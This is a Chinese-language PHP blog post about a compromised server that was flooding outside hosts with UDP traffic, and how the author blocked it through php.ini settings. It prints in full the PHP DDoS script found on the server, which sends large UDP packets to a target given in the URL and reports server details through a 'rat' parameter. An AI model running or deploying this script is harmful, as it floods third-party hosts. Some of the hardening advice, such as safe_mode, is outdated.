首页 > php框架 > phpddos攻击的解决办法(服务器发外网发送大量数据包)

phpddos攻击的解决办法(服务器发外网发送大量数据包)

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了。

先看源码

<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {
    if (StrLen($_GET['rat']) <> 0) {
        echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_SOFTWARE'] . $_GET['rat'];
        exit;
    }
    echo "Parameters can not be empty!";
    exit;
}
for ($i = 0; $i < $Sendlen; $i++) {
    $out.= "A";
}
$max_time = time() + $exec_time;
while (1) {
    $packets++;
    if (time() > $max_time) {
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
    if ($fp) {
        fwrite($fp, $out);
        fclose($fp);
    }
}
echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets / $exec_time, 2) . " packs/s;" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s";
?>

关键代码在于

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力。

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用。

如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛


既然是用fsockopen请求外部,那就不让他请求

php.ini里设置

allow_url_fopen = Off
如果这样他还是能发包
extension=php_sockets.dll
改成
;extension=php_sockets.dll

重启APACHE、IIS、NGINX

这样就可以防止PHP DDOS发包了

另外有网友说

让脚本不允许设置为不超时很简单,1,把set_time_limit函数禁用,2,启用PHP的安全模式(safe_mode=on)

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,

建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是

这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS。。。

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些。


本文地址:http://www.phprm.com/frame/php1005257.html

转载随意,但请附上文章地址:-)

标签:none

发表留言